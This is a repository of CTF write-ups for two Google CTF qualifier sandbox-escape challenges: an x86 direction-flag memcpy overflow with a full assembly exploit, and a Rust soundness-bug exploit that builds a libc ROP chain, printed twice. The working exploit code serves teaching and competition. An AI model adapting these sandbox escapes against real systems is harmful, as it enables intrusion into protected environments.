├── README.md └── googlectf_quals ├── 2018 └── sandbox_compat │ ├── README.md │ ├── c1cc3495c9802734d0d69aa356cfd944bee41fdd12be466d0ec1728094a11618.zip │ └── ex.S └── 2019 └── sandstone ├── README.md ├── bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip ├── ex.rs └── plan.png /README.md: -------------------------------------------------------------------------------- 1 | # CTF writeups 2 | 3 | ## Google CTF Quals 2018 4 | 5 | * [Sandbox Compat](googlectf_quals/2018/sandbox_compat/README.md) 6 | 7 | ## Google CTF Quals 2019 8 | 9 | * [Sandstone](googlectf_quals/2019/sandstone/README.md) 10 | -------------------------------------------------------------------------------- /googlectf_quals/2018/sandbox_compat/README.md: -------------------------------------------------------------------------------- 1 | # Sandbox Compat - Google CTF qualifiers 2018 2 | 3 | Category: pwn 4 | Points: 420 5 | 6 | I participated in Google CTF qualifications with 5BC, we drew first blood on this 7 | challenge. I really enjoyed working on it and it was a satisfying solution. 8 | 9 | ## Introduction 10 | 11 | The challenge, as the name implies, is a sandbox escape. The idea behind the 12 | sandbox is really cool - our code lies in a 32-bit memory space and the "kernel" 13 | runs outside the 32-bit range. 14 | 15 | Ok... that doesn't sound so hard. Let's dive into the details. 16 | 17 | The sandbox setup is as follows: 18 | The challenge binary is 64-bit, the sandbox code allocates static addresses for 19 | user stack (0xbeef0000) and code (0xdead0000). It also creates a new _LDT_ entry for 32-bit code: 20 | 21 | ```c 22 | struct user_desc desc; 23 | 24 | // ... 25 | 26 | memset(&desc, 0, sizeof(desc)); 27 | desc.entry_number = 1; 28 | desc.base_addr = 0; 29 | desc.limit = (1L << 32) - 1; 30 | desc.seg_32bit = 1; 31 | desc.contents = 2; 32 | desc.read_exec_only = 0; 33 | desc.limit_in_pages = 1; 34 | desc.seg_not_present = 0; 35 | desc.useable = 1; 36 | 37 | if (modify_ldt(1, &desc, sizeof(desc)) != 0) 38 | err(1, "failed to setup 32-bit segment"); 39 | ``` 40 | 41 | For those of you who aren't familiar with [_LDT_](https://wiki.osdev.org/LDT)'s, they are a processor feature from the days of 8086 that are responsible for setup and usage of segment selectors (_cs_,_ds_,_fs_,_gs_,...). 42 | Today they are mostly used to inter-op between 32-bit code and 64-bit, and 43 | jumping from 32 to 64 is as simple as `jmp 33:0x13371337'deadbeef`. 44 | 45 | The sandbox will accept user code, filter all opcodes that allow changing the 46 | _cs_ to 64-bit: 47 | 48 | ```C 49 | static struct opcode { char *name; char opcode; } opcodes[] = { 50 | { "iret", 0xcf }, 51 | { "far jmp", 0xea }, 52 | { "far call", 0x9a }, 53 | { "far ret", 0xca }, 54 | { "far ret", 0xcb }, 55 | { "far jmp/call", 0xff }, 56 | { NULL, 0x00 }, 57 | }; 58 | 59 | // ... 60 | 61 | /* ensure that there are no forbidden instructions */ 62 | for (opcode = opcodes; opcode->name != NULL; opcode++) { 63 | if (memchr(code, opcode->opcode, size) != NULL) 64 | errx(1, "opcode %s is not allowed", opcode->name); 65 | } 66 | ``` 67 | 68 | There's also the mandatory _seccomp_ filter, which allows some syscalls but 69 | forbids running them from the 32bit address space: 70 | 71 | ```C 72 | struct sock_filter filter[] = { 73 | /* No syscalls allowed if instruction pointer is lower than 4G. 74 | * That should not be necessary, but better be safe. */ 75 | VALIDATE_IP, 76 | /* Grab the system call number. */ 77 | EXAMINE_SYSCALL, 78 | /* List allowed syscalls. */ 79 | ALLOW_SYSCALL(read), 80 | ALLOW_SYSCALL(write), 81 | ALLOW_SYSCALL(open), 82 | ALLOW_SYSCALL(close), 83 | ALLOW_SYSCALL(mprotect), 84 | ALLOW_SYSCALL(exit_group), 85 | KILL_PROCESS, 86 | }; 87 | ``` 88 | 89 | The sandbox also has a "kernel" component running outside the 32-bit memory range. 90 | It executes a few syscalls on your behalf, but first validates that: 91 | * Pointers passed to the "kernel" are in user space (in 32-bit memory) 92 | * Path for open doesn't contain the word "flag" 93 | 94 | How can we communicate with the kernel if we can't use syscalls? 95 | The sandbox allocates two pages, one in the last address of 32-bit memory (0xfffff000) and next page (0x1'00000000). The code in the last page of the 32-bit memory will switch to 64-bit code and continue to slide into 64-bit memory space: 96 | 97 | ```asm 98 | BITS 32 99 | 100 | ;; small gadget to restore esp and return to caller 101 | jmp trampoline 102 | mov esp, ebx 103 | ret 104 | 105 | ;; trampoline to 64-bit code 106 | ;; there is a NOP at 0xffffffff, followed by kernel entry 107 | trampoline: 108 | jmp dword 0x33:0xffffffff 109 | ``` 110 | 111 | In the next page the code switches the stack to kernel stack and jumps to 112 | the "kernel" syscall handler, which is in the main binary of the sandbox. 113 | 114 | The challenge authors were really nice and provided an example of using their 115 | "kernel": 116 | 117 | ```asm 118 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 119 | ;;; Sample 32-bit user code that writes "hello\n" to stdout. 120 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 121 | 122 | BITS 32 123 | 124 | mov esp, 0xbef00000 125 | sub esp, 4 126 | 127 | push 0x00000a6f 128 | push 0x6c6c6568 129 | 130 | ;; kernel arguments 131 | mov edi, 1 ; __NR_write 132 | mov esi, 1 ; fd 133 | mov edx, esp ; buf 134 | mov ecx, 6 ; size 135 | 136 | ;; jmp to trampoline 64-bit kernel 137 | ;; not straightforward because of restricted characters 138 | mov eax, 0xdead0000 + done 139 | push eax 140 | 141 | xor eax, eax ;; mov eax, 0xfffff000 142 | dec eax 143 | shl eax, 12 144 | 145 | push eax 146 | ret 147 | 148 | done: 149 | int 3 150 | 151 | ``` 152 | 153 | So the goal of this task is to read the flag from disk, but we are "stuck" in 154 | 32-bit memory and can't execute any syscalls. 155 | 156 | # Failed attempts 157 | Before coming up with the solution we had many failed attempts. 158 | 159 | We thought that maybe the stack address of the kernel will magically fall within 160 | 32-bit memory address (it could happen due to ASLR) - but there's a check for it 161 | and the sandbox will not start. 162 | 163 | We tried to modify the _LDT_ back - it didn't work because of the syscall filter. 164 | 165 | Syscall numbers in 32/64-bit have different numbers and if an interesting 166 | syscall is blocked in 64-bit maybe it's not blocked in 32-bits and vice versa. 167 | Unfortunately it doesn't work because of the _IP_ address filter. 168 | 169 | We thought about jumping to the kernel code (in the last page) and see if there are interesting opcodes there that can change cs, but we couldn't find any. 170 | 171 | We had a crazy idea of jumping to the last 32-bit byte and see what happens - we hoped that we might slide to 64 bit code - but it just wrapped around. 172 | 173 | We looked in the Intel manuals for opcodes that might change the _cs_ that are 174 | not filtered, but we couldn't find any. 175 | 176 | # The bug 177 | 178 | While auditing the "kernel" we found that the _open_ syscall uses _memcpy_ to copy a user buffer safely to the kernel stack. 179 | 180 | ```C 181 | int path_ok(char *pathname, const char *p) 182 | { 183 | if (!access_ok(p, MAX_PATH)) 184 | return 0; 185 | 186 | memcpy(pathname, p, MAX_PATH); 187 | pathname[MAX_PATH - 1] = '\x00'; 188 | 189 | if (strstr(pathname, "flag") != NULL) 190 | return 0; 191 | 192 | return 1; 193 | } 194 | 195 | static int op_open(const char *p) 196 | { 197 | // buffer on "kernel" stack 198 | char pathname[MAX_PATH]; 199 | 200 | if (!path_ok(pathname, p)) 201 | return -1; 202 | 203 | return syscall(__NR_open, pathname, O_RDONLY); 204 | } 205 | ``` 206 | 207 | This code is perfectly fine if the assumptions of the compiler are correct, e.g. 208 | that this code is run from the executable and no other code runs before it and 209 | changed the state of the world. 210 | 211 | I opened the code in IDA and saw that the _memcpy_ function was reduced to 212 | `rep movsq` opcode. The `movsq` opcode is quite complex, enough that it has a 213 | [pseudo code](https://c9x.me/x86/html/file_module_x86_id_203.html) describing it's operation. 214 | 215 | As you can see from the code, it uses the direction flag to determine the 216 | direction of the copy, so we can set the direction flag such that the `rep movsq` will copy _backward_! 217 | 218 | The kernel code doesn't sanitize the _eflags_ register from user's code and uses it as is. 219 | Which means we can make _memcpy_ corrupt the stack backwards, which is usually not interesting but in this challenge the buffer is passed from an outer function `op_open` to an inner function `path_ok` so we can overflow our return address! 220 | 221 | The rest of the [exploit](ex.S) is simple, return to our code open the flag file, 222 | read it and write it _stdout_. 223 | 224 | We run it and we get the flag: 225 | `CTF{Hell0_N4Cl_Issue_51!}` 226 | 227 | If you're interested, [_NACL_ issue #51](https://bugs.chromium.org/p/nativeclient/issues/detail?id=51) is the exact same bug! 228 | 229 | -------------------------------------------------------------------------------- /googlectf_quals/2018/sandbox_compat/c1cc3495c9802734d0d69aa356cfd944bee41fdd12be466d0ec1728094a11618.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yoava333/ctf-writeups/53e3c23353d7a5cb7cf64e9332f82e6aa10e3f0e/googlectf_quals/2018/sandbox_compat/c1cc3495c9802734d0d69aa356cfd944bee41fdd12be466d0ec1728094a11618.zip -------------------------------------------------------------------------------- /googlectf_quals/2018/sandbox_compat/ex.S: -------------------------------------------------------------------------------- 1 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 2 | ;;; Sample 32-bit user code that exploits the challenge. 3 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 4 | 5 | BITS 32 6 | 7 | mov esp, 0xbeef2800 8 | sub esp, 4 9 | 10 | push 0x00000000 11 | push 0xdead0000 + done ; return address 12 | push 0x00000000 13 | push 0x67616c66 14 | 15 | ;; kernel arguments 16 | mov edi, 2 ; __NR_open 17 | mov esi, esp ; file name 18 | mov edx, 0 ; flags 19 | mov ecx, 0 ; mode 20 | 21 | ;; jmp to trampoline 64-bit kernel 22 | ;; not straightforward because of restricted characters 23 | push 0 24 | mov eax, 0xdead0000 + done 25 | push eax 26 | 27 | 28 | xor eax, eax ;; mov eax, 0xfffff000 29 | dec eax 30 | shl eax, 12 31 | 32 | ; change the direction of memcpy (rep) 33 | std 34 | 35 | push eax 36 | ret 37 | 38 | failed: 39 | xor eax, eax 40 | mov eax, [eax] 41 | 42 | done: 43 | BITS 64 44 | 45 | ; running 64 bit code here :-) 46 | 47 | mov rbx, rsi 48 | sub rbx, 0x436 ; offset to syscall instruction in sandbox code 49 | 50 | xor rax, rax 51 | mov edi, 2 52 | 53 | xor rdx, rdx 54 | xor rcx, rcx 55 | 56 | mov r15d, 0x0dead0000 + read_file 57 | push r15 58 | push r15 59 | 60 | push rbx ; syscall(__NR_open, "flag", 0) 61 | ret 62 | 63 | read_file: 64 | 65 | xor rax, rax 66 | mov edi, 0 67 | mov rsi, 3 68 | 69 | mov rdx, rsp 70 | mov rcx, 0x400 71 | 72 | mov r15d, 0x0dead0000 + writing_file 73 | push r15 74 | push r15 75 | 76 | push rbx ; syscall(__NR_read, rsp, 0x400) 77 | ret 78 | 79 | writing_file: 80 | 81 | ; write the flag to stdout 82 | xor rax, rax 83 | mov edi, 1 84 | mov rsi, 1 85 | 86 | mov rdx, rsp 87 | mov rcx, 0x40 88 | 89 | mov r15d, 0x0dead0000 + read_file 90 | push r15 91 | push r15 92 | 93 | push rbx ; syscall(__NR_write, rsp, 0x40) 94 | ret 95 | 96 | ; looping to force the server to flush the flag file :-) 97 | jmp writing_file 98 | 99 | 100 | -------------------------------------------------------------------------------- /googlectf_quals/2019/sandstone/README.md: -------------------------------------------------------------------------------- 1 | # Sandstone - 383 points 2 | 3 | Sandstone was a sandbox challenge in Google CTF 2019. I was playing with 5BC, we got 9th place. 4 | 5 | The challenge description: 6 | ``` 7 | Everyone does a Rust sandbox, so we also have one! 8 | ``` 9 | 10 | ## Intro to Rust 11 | Rust is a systems programming language that is designed to be memory safe like java/python but also delivers the same performance as languages like C++. 12 | Rust achieves this by using a sophisticated compiler technology that forbids having an object which is both shared and mutable. This prevents many classes of memory corruption bugs. 13 | It also comes with a package manager called cargo, which is used to build Rust crates (libraries). 14 | Rust has also builtin support for [FFI](https://en.wikipedia.org/wiki/Foreign_function_interface) (e.g. talking to C code) and an ability to relax the compiler restrictions using the [unsafe](https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html) keyword to build abstraction which the compiler cannot reason about being safe. Both FFI and unsafe can change raw memory and cause a program not to be memory safe - this is also called unsound. 15 | 16 | ## The Challenge 17 | In the challenge [zip](bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip), we get two main files - `main.rs` - which is the only Rust source and a `Dockerfile`. 18 | 19 | Let's first look at the `Dockerfile`: 20 | ```docker 21 | FROM ubuntu:19.04 22 | 23 | RUN apt update && apt install -y wget build-essential libseccomp-dev 24 | ENV CARGO_HOME=/opt/cargo RUSTUP_HOME=/opt/rustup PATH="${PATH}:/opt/cargo/bin" 25 | ADD https://sh.rustup.rs /rustup-init 26 | RUN chmod a+x /rustup-init && /rustup-init -y --default-toolchain nightly-2019-05-18 && rm /rustup-init 27 | 28 | RUN set -e -x; \ 29 | groupadd -g 1337 user; \ 30 | useradd -g 1337 -u 1337 -m user 31 | 32 | RUN mkdir -p /chall/src 33 | WORKDIR /chall 34 | COPY flag Cargo.toml Cargo.lock /chall/ 35 | COPY src/main.rs /chall/src/main.rs 36 | RUN cargo build --release 37 | 38 | # Ignore ptrace-related failure, this is just for caching the deps. 39 | RUN echo EOF | ./target/release/sandbox-sandstone || true 40 | 41 | RUN set -e -x ;\ 42 | chmod +x /chall/target/release/sandbox-sandstone; \ 43 | chmod 0444 /chall/flag 44 | 45 | CMD ["/chall/target/release/sandbox-sandstone"] 46 | ``` 47 | 48 | Looks straight forward, the challenge setup downloads the rust toolchain, builds the challenge binary, sets-up the flag and runs the challenge binary. 49 | 50 | Noteworthy is the use of the nightly toolchain, in Rust, the nightly toolchain is where the language developers are allowed to experiment with unstable/bleeding edge features. It's also where new features like [nll](https://github.com/rust-lang/rfcs/blob/master/text/2094-nll.md) or [pin](https://github.com/rust-lang/rfcs/blob/master/text/2349-pin.md) were/are developed. 51 | 52 | The main challenge binary `sandbox-sandstone` will read Rust code from the user, inject it into a Rust project template and execute the user code. 53 | 54 | Let's look at the `read_code` function: 55 | ```rust 56 | fn read_code() -> String { 57 | use std::io::BufRead; 58 | 59 | let stdin = std::io::stdin(); 60 | let handle = stdin.lock(); 61 | 62 | let code = handle 63 | .lines() 64 | .map(|l| l.expect("Error reading code.")) 65 | .take_while(|l| l != "EOF") 66 | .collect::>() 67 | .join("\n"); 68 | 69 | for c in code.replace("print!", "").replace("println!", "").chars() { 70 | if c == '!' || c == '#' || !c.is_ascii() { 71 | panic!("invalid character"); 72 | } 73 | } 74 | 75 | for needle in &["libc", "unsafe"] { 76 | if code.to_lowercase().contains(needle) { 77 | panic!("no {} for ya!", needle); 78 | } 79 | } 80 | 81 | code 82 | } 83 | ``` 84 | 85 | The input code has some restrictions: 86 | 87 | * It cannot contain the words `libc` or `unsafe` - to prevent the use of ffi and unsafe code 88 | * It cannot contain the `#` and `!` characters - to prevent the use of macros and compiler directives, we could have used to generate code that uses unsafe / libc 89 | * All characters must be ascii - probably to make sure the restrictions above are not bypassed 90 | 91 | Our code is injected into the following template: 92 | 93 | ```rust 94 | // src/sandstone.rs 95 | 96 | #![feature(nll)] 97 | #![forbid(unsafe_code)] 98 | 99 | pub fn main() { 100 | println!("{:?}", (REPLACE_ME)); 101 | } 102 | ``` 103 | 104 | The main function of our program will setup a `seccomp-bpf` filter which only allows: 105 | 106 | * write - to stdout 107 | * sigaltstack 108 | * mmap 109 | * munmap 110 | * exit_group 111 | * And a trace event for syscall number `0x1337` 112 | 113 | Meaning that we cannot simply read the flag directly from the file system. 114 | Looking at the challenge binary, it executes our code, attaches to our process with `ptrace` and continues to monitor our process for events. If we manage to execute syscall number `0x1337` the challenge binary will print the flag: 115 | 116 | ```rust 117 | loop { 118 | let mut status: c_int = 0; 119 | let pid = unsafe { wait(&mut status) }; 120 | assert!(pid != -1); 121 | 122 | if unsafe { WIFEXITED(status) } { 123 | break; 124 | } 125 | 126 | if (status >> 8) == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) { 127 | let mut nr: c_ulong = 0; 128 | assert!(unsafe { 129 | ptrace(PTRACE_GETEVENTMSG, pid, 0, &mut nr) 130 | } != -1); 131 | 132 | if nr == 0x1337 { 133 | assert!(unsafe { 134 | ptrace(PTRACE_KILL, pid, 0, 0) 135 | } != -1); 136 | print_flag(); // <--- print the flag! 137 | break; 138 | } 139 | } 140 | 141 | unsafe { ptrace(PTRACE_CONT, pid, 0, 0) }; 142 | } 143 | ``` 144 | 145 | So our challenge is clear, we need to execute the syscall `0x1337`, however, it's not so simple. Rust doesn't allow calling directly to syscalls without using the unsafe keyword. So we somehow need to break the safety guarantees that Rust provides and beat the compiler. 146 | 147 | My teammate `real` who is an experienced Rust developer, encountered a crash in safe Rust using async code with the `Pin` trait in nightly Rust. He suggested that we go through the Github issues for rust-lang and try to find a bug that allows for memory corruptions. Helpfully rust-lang has a label for bugs in the compiler that cause safety issues [`I-Unsound`](https://github.com/rust-lang/rust/issues?q=is%3Aopen+is%3Aissue+label%3A%22I-unsound+%F0%9F%92%A5%22). We started looking for a bug that is present in the nightly version that we were running and after a while, we got issue [57893](https://github.com/rust-lang/rust/issues/57893), which is a pretty interesting bug. Let's look at the code: 148 | 149 | ```rust 150 | trait Object { 151 | type Output; 152 | } 153 | 154 | trait Marker<'b> {} 155 | impl<'b> Marker<'b> for dyn Object {} 156 | 157 | impl<'b, T: ?Sized + Marker<'b>> Object for T { 158 | type Output = &'static u64; 159 | } 160 | 161 | fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: ::Output) -> &'a u64 { 162 | x 163 | } 164 | 165 | fn transmute_lifetime<'a, 'b>(x: &'a u64) -> &'b u64 { 166 | foo::>(x) 167 | } 168 | 169 | // And yes this is a genuine `transmute_lifetime`! 170 | fn get_dangling<'a>() -> &'a u64 { 171 | let x = 0; 172 | transmute_lifetime(&x) 173 | } 174 | 175 | fn main() { 176 | let r = get_dangling(); 177 | println!("stack leak {:x}", r); 178 | } 179 | ``` 180 | 181 | The piece of code above allows you to transmute an object lifetime with another lifetime. [Lifetimes](https://doc.rust-lang.org/1.9.0/book/lifetimes.html) are how the Rust compiler and language manage object reference validity, when a lifetime of an object ends it is dropped (destructed). Violating lifetime rules causes the famous Rust compiler error: ```error[E0597]: `borrow` does not live long enough```. 182 | 183 | The code above causes the compiler to think that we have a reference to a valid object while the object was already destructed. The reference in the code above points to a memory location on a higher stack frame. 184 | At first, it looked like a memory leak bug, but a closer inspection revealed that we can change the type to `mut`, which causes the reference to be writable, which enables us to write to the stack! 185 | 186 | Our exploitation plan was as follows: 187 | 188 | 1. Get a read/write pointer to the stack 189 | 2. Leak libc 190 | 3. Write an array to the stack of rop gadgets 191 | 4. Call a recursive function which will raise the stack and hopefully collide the return address with our dangling pointer 192 | 5. Within the recursion, use the dangling pointer to write our gadget to the stack and stop the recursion. 193 | 6. Profit! 194 | 195 | ![Exploit plan](plan.png) 196 | 197 | We tried to build a recursion that will land on our stack pointer, but it proved very hard to control. We actually have given up on the bug and moved to other issues. 198 | While working on other bugs we realized we could change the type of this function to return a slice (a reference to a continuous memory of some type) of `u64`. This will allow us to leak/write a lot more data which will enable us to write a rop chain directly to the stack. 199 | 200 | We had a working prototype but it didn't work on the challenge binary. It turns out that the binary is compiled with release flags, while we were developing with a debug flags. Rust's llvm backend proved to be very powerful in inlining and optimizing the code, it eliminated our original recursion code and caused the dangling pointer code to be inlined to the main function and thus prevented us from using the bug, since the dangling pointer laid within our stack frame. 201 | 202 | Luckily one of my teammates Liad is an llvm developer, which helped us kill the annoying optimizations - we used `dyn` trait (objects with vtable) to call the `get_dangling` function and get a dangling pointer to a higher stack frame, and hard data dependencies within the recursion to prevent inlining. 203 | 204 | Putting this all [together](ex.rs): 205 | 206 | ```rust 207 | { 208 | use std::io; 209 | use std::io::prelude::*; 210 | 211 | trait A { 212 | fn my_func(&self) -> &mut [u64]; 213 | } 214 | 215 | struct B { 216 | b: u64, 217 | } 218 | struct C { 219 | c: u64, 220 | } 221 | 222 | impl A for B { 223 | fn my_func(&self) -> &mut [u64] { 224 | get_dangling() 225 | } 226 | } 227 | 228 | impl A for C { 229 | fn my_func(&self) -> &mut [u64] { 230 | get_dangling() 231 | } 232 | } 233 | 234 | fn is_prime(a: u64) -> bool { 235 | if a < 2 { 236 | return false; 237 | } 238 | if a % 2 == 0 { 239 | return true; 240 | } 241 | for i in 3..a { 242 | if a % i == 0 { 243 | return false; 244 | } 245 | } 246 | true 247 | } 248 | 249 | fn get_trait_a() -> Box { 250 | let n = if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") { 251 | args.len() as usize 252 | } else { 253 | 791913 254 | }; 255 | 256 | if is_prime(n as u64) { 257 | Box::new(B { b: 0 }) 258 | } else { 259 | Box::new(C { c: 0 }) 260 | } 261 | } 262 | 263 | trait Object { 264 | type Output; 265 | } 266 | 267 | impl Object for T { 268 | type Output = &'static mut [u64]; 269 | } 270 | 271 | fn foo<'a, T: ?Sized>(x: ::Output) -> &'a mut [u64] { 272 | x 273 | } 274 | 275 | fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] { 276 | foo::>(x) 277 | } 278 | 279 | // And yes this is a genuine `transmute_lifetime` 280 | fn get_dangling<'a>() -> &'a mut [u64] { 281 | io::stdout().write(b"hello\n"); 282 | let mut a: [u64; 128] = [0; 128]; 283 | let mut x = 0; 284 | transmute_lifetime(&mut a) 285 | } 286 | 287 | fn my_print_str(s: &str) { 288 | io::stdout().write(s.as_bytes()); 289 | } 290 | 291 | fn my_print(n: u64) { 292 | let s: String = n.to_string() + "\n"; 293 | io::stdout().write(s.as_bytes()); 294 | } 295 | 296 | // This function is only used to raise the stack frame and allow the dangling 297 | // slice to overwrite the stack frame of low stack frames. 298 | fn rec(a: &mut [u64], b: &mut [u64], attack: &mut [u64], n: u64, lib_c: u64) { 299 | let mut array: [u64; 3] = [0; 3]; 300 | a[0] += 1; 301 | b[0] += 1; 302 | 303 | array[0] = a[0] + 1; 304 | array[1] = a[0] + b[1] + 1; 305 | 306 | if a[0] > n { 307 | 308 | // ubuntu 19.04 309 | let pop_rax_ret = lib_c + 0x0000000000047cf8; 310 | let syscall_inst = lib_c + 0x0000000000026bd4; 311 | let ret = lib_c + 0x026422; 312 | 313 | // Overwrite the stack with ret slide 314 | for (j, el) in attack.iter_mut().enumerate() { 315 | *el = ret; 316 | } 317 | 318 | // Write our small rop chain 319 | let x = 50; 320 | attack[x] = pop_rax_ret; 321 | attack[x + 1] = 0x1337; 322 | attack[x + 2] = syscall_inst; 323 | 324 | // Trigger 325 | return; 326 | } 327 | 328 | // Random calculation to kill compiler optimizations. 329 | if a[0] > 30 { 330 | b[0] = a[0] + a[1]; 331 | rec(b, &mut array, attack, n, lib_c); 332 | } else { 333 | b[1] = a[2] + a[0]; 334 | rec(&mut array, a, attack, n, lib_c); 335 | } 336 | } 337 | 338 | // using external variables to kill compiler optimizations 339 | let n = if let Ok(args) = std::env::var("BLA") { 340 | args.len() as usize 341 | } else { 342 | 30 343 | }; 344 | 345 | // using external variables to kill compiler optimizations 346 | let n2 = if let Ok(args) = std::env::var("BLA") { 347 | 10 348 | } else { 349 | 100 350 | }; 351 | 352 | // Using the dyn trait so that the compiler will execute the 353 | // get_dangling function in a higher stack frame. 354 | let my_a = get_trait_a(); 355 | // getting the random stack 356 | let mut r = my_a.my_func(); 357 | 358 | // Just random content 359 | let mut v: Vec = Vec::with_capacity(n); 360 | v.push(1); 361 | v.push(1); 362 | v.push(1); 363 | 364 | // Adding some content; 365 | let mut b: Vec = Vec::with_capacity(n); 366 | b.push(1); 367 | b.push(2); 368 | b.push(3); 369 | 370 | // We need to write output buffers to get lib-c gadgets 371 | my_print_str("Give me gadegts\n"); 372 | let lib_c_addr = r[62]; 373 | let lib_c = lib_c_addr - 628175; 374 | 375 | my_print_str("===============\nlib_c base = "); 376 | my_print(lib_c); 377 | my_print_str("===============\n"); 378 | 379 | // Exploit 380 | rec(&mut v, &mut b, r, n2, lib_c); 381 | 382 | } 383 | ``` 384 | 385 | Finally we got the flag: 386 | `CTF{InT3ndEd_8yP45_w45_g1tHu8_c0m_Ru5t_l4Ng_Ru5t_1ssue5_31287}` 387 | 388 | ## Final notes 389 | 390 | We didn't end up using issue 31287, I'm not sure it would have been easier to exploit than our issue. The challenge was really fun and interesting, I learned a lot more Rust. However, as a hobbyist Rust developer, it was really scary and painful to discover how many soundness bugs the language has. Maybe it's time to start contributing to Rust. 391 | -------------------------------------------------------------------------------- /googlectf_quals/2019/sandstone/bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yoava333/ctf-writeups/53e3c23353d7a5cb7cf64e9332f82e6aa10e3f0e/googlectf_quals/2019/sandstone/bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1.zip -------------------------------------------------------------------------------- /googlectf_quals/2019/sandstone/ex.rs: -------------------------------------------------------------------------------- 1 | { 2 | use std::io; 3 | use std::io::prelude::*; 4 | 5 | trait A { 6 | fn my_func(&self) -> &mut [u64]; 7 | } 8 | 9 | struct B { 10 | b: u64, 11 | } 12 | struct C { 13 | c: u64, 14 | } 15 | 16 | impl A for B { 17 | fn my_func(&self) -> &mut [u64] { 18 | get_dangling() 19 | } 20 | } 21 | 22 | impl A for C { 23 | fn my_func(&self) -> &mut [u64] { 24 | get_dangling() 25 | } 26 | } 27 | 28 | fn is_prime(a: u64) -> bool { 29 | if a < 2 { 30 | return false; 31 | } 32 | 33 | if a % 2 == 0 { 34 | return true; 35 | } 36 | 37 | for i in 3..a { 38 | if a % i == 0 { 39 | return false; 40 | } 41 | } 42 | 43 | true 44 | } 45 | 46 | fn get_trait_a() -> Box { 47 | let n = if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") { 48 | args.len() as usize 49 | } else { 50 | 791913 51 | }; 52 | 53 | if is_prime(n as u64) { 54 | Box::new(B { b: 0 }) 55 | } else { 56 | Box::new(C { c: 0 }) 57 | } 58 | } 59 | 60 | trait Object { 61 | type Output; 62 | } 63 | 64 | impl Object for T { 65 | type Output = &'static mut [u64]; 66 | } 67 | 68 | fn foo<'a, T: ?Sized>(x: ::Output) -> &'a mut [u64] { 69 | x 70 | } 71 | 72 | fn transmute_lifetime<'a, 'b>(x: &'a mut [u64]) -> &'b mut [u64] { 73 | foo::>(x) 74 | } 75 | 76 | // And yes this is a genuine `transmute_lifetime` 77 | fn get_dangling<'a>() -> &'a mut [u64] { 78 | io::stdout().write(b"hello\n"); 79 | let mut a: [u64; 128] = [0; 128]; 80 | let mut x = 0; 81 | transmute_lifetime(&mut a) 82 | } 83 | 84 | fn my_print_str(s: &str) { 85 | io::stdout().write(s.as_bytes()); 86 | } 87 | 88 | fn my_print(n: u64) { 89 | let s: String = n.to_string() + "\n"; 90 | io::stdout().write(s.as_bytes()); 91 | } 92 | 93 | // This function is only used to raise the stack frame and allow the dangling 94 | // slice to overwrite the stack frame of low stack frames. 95 | fn rec(a: &mut [u64], b: &mut [u64], attack: &mut [u64], n: u64, lib_c: u64) { 96 | let mut array: [u64; 3] = [0; 3]; 97 | a[0] += 1; 98 | b[0] += 1; 99 | 100 | array[0] = a[0] + 1; 101 | array[1] = a[0] + b[1] + 1; 102 | 103 | if a[0] > n { 104 | 105 | // ubuntu 19.04 106 | let pop_rax_ret = lib_c + 0x0000000000047cf8; 107 | let syscall_inst = lib_c + 0x0000000000026bd4; 108 | let ret = lib_c + 0x026422; 109 | 110 | // Overwrite the stack with ret slide 111 | for (j, el) in attack.iter_mut().enumerate() { 112 | *el = ret; 113 | } 114 | 115 | // Write our small rop chain 116 | let x = 50; 117 | attack[x] = pop_rax_ret; 118 | attack[x + 1] = 0x1337; 119 | attack[x + 2] = syscall_inst; 120 | 121 | // Trigger 122 | return; 123 | } 124 | 125 | // Random calculation to kill compiler optimizations. 126 | if a[0] > 30 { 127 | b[0] = a[0] + a[1]; 128 | rec(b, &mut array, attack, n, lib_c); 129 | } else { 130 | b[1] = a[2] + a[0]; 131 | rec(&mut array, a, attack, n, lib_c); 132 | } 133 | } 134 | 135 | // using external variables to kill compiler optimizations 136 | let n = if let Ok(args) = std::env::var("BLA") { 137 | args.len() as usize 138 | } else { 139 | 30 140 | }; 141 | 142 | // using external variables to kill compiler optimizations 143 | let n2 = if let Ok(args) = std::env::var("BLA") { 144 | 10 145 | } else { 146 | 100 147 | }; 148 | 149 | // Using the dyn trait so that the compiler will execute the 150 | // get_dangling function in a higher stack frame. 151 | let my_a = get_trait_a(); 152 | // getting the random stack 153 | let mut r = my_a.my_func(); 154 | 155 | // Just random content 156 | let mut v: Vec = Vec::with_capacity(n); 157 | v.push(1); 158 | v.push(1); 159 | v.push(1); 160 | 161 | // Adding some content; 162 | let mut b: Vec = Vec::with_capacity(n); 163 | b.push(1); 164 | b.push(2); 165 | b.push(3); 166 | 167 | // We need to write output buffers to get lib-c gadgets 168 | my_print_str("Give me gadegts\n"); 169 | let lib_c_addr = r[62]; 170 | let lib_c = lib_c_addr - 628175; 171 | 172 | my_print_str("===============\nlib_c base = "); 173 | my_print(lib_c); 174 | my_print_str("===============\n"); 175 | 176 | // Exploit 177 | rec(&mut v, &mut b, r, n2, lib_c); 178 | } 179 | -------------------------------------------------------------------------------- /googlectf_quals/2019/sandstone/plan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yoava333/ctf-writeups/53e3c23353d7a5cb7cf64e9332f82e6aa10e3f0e/googlectf_quals/2019/sandstone/plan.png --------------------------------------------------------------------------------